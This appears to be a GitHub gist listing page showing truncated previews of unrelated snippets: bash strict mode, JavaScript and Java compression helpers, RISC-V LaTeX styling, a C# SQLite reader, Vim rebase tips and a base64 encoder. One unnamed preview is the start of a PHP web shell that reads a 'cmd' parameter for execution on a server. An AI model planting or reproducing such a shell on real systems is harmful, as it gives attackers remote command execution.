Skip to content

Instantly share code, notes, and snippets.

View FaltoGH's full-sized avatar

나수범 FaltoGH

  • Yongin
  • 17:27 (UTC +09:00)
View GitHub Profile
@akrasic
akrasic / bash_strict_mode.md
Created December 5, 2024 16:42 — forked from vncsna/bash_strict_mode.md
set -e, -u, -o, -x pipefail explanation

set -e, -u, -o, -x pipefail

The set lines

  • These lines deliberately cause your script to fail. Wait, what? Believe me, this is a good thing.
  • With these settings, certain common errors will cause the script to immediately fail, explicitly and loudly. Otherwise, you can get hidden bugs that are discovered only when they blow up in production.
  • set -euxo pipefail is short for:
set -e
set -u
@Explosion-Scratch
Explosion-Scratch / Compress string.js
Created November 1, 2021 18:51
Compress string using gzip and native browser APIs
function compress(string, encoding) {
const byteArray = new TextEncoder().encode(string);
const cs = new CompressionStream(encoding);
const writer = cs.writable.getWriter();
writer.write(byteArray);
writer.close();
return new Response(cs.readable).arrayBuffer();
}
function decompress(byteArray, encoding) {
@AntonLydike
AntonLydike / risc-v.tex
Last active November 27, 2025 03:28
RISC-V Assembler lstlisting syntax and style
% RISC-V Assembler syntax and style for latex lstlisting package
%
% These are risc-v commands as per our university (University Augsburg, Germany) guidelines.
%
% Author: Anton Lydike
%
% This code is in the public domain and free of licensing
% language definition
\lstdefinelanguage[RISC-V]{Assembler}
@patelnimesh
patelnimesh / MessageUtils.java
Last active May 31, 2026 14:49
Sample Java utility to gzip compress and decomress with base64 encode
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
@orlodax
orlodax / ExecuteSQLiteReadQuery.txt
Created July 24, 2019 10:20
Read SQLite table and store results inside DataTable C# UWP
DataTable ExecuteReadQuery(string query)
{
DataTable entries = new DataTable();
using (SqliteConnection db = new SqliteConnection(ConnectionString))
{
SqliteCommand selectCommand = new SqliteCommand(query, db);
try
{
db.Open();
@titenkov
titenkov / vim-visual-blocks.md
Last active February 4, 2025 14:32
Use Vim visual blocks during interactive git rebase

Sometimes, when rebasing interactively with git, we need to squash a sequence of commits in a branch.

For example, we need to transform this:

pick 0253dc894f bumped
pick 5a1e86933c remove dependency
pick bffoffb395 memberships rpc resource
pick 222fabf5e0 rpc membership service
pick 726a2f9a10 remove crypto logic
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@jonleighton
jonleighton / base64ArrayBuffer.js
Last active May 31, 2026 14:26
Encode an ArrayBuffer as a base64 string
// Converts an ArrayBuffer directly to base64, without any intermediate 'convert to string then
// use window.btoa' step. According to my tests, this appears to be a faster approach:
// http://jsperf.com/encoding-xhr-image-data/5
/*
MIT LICENSE
Copyright 2011 Jon Leighton
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: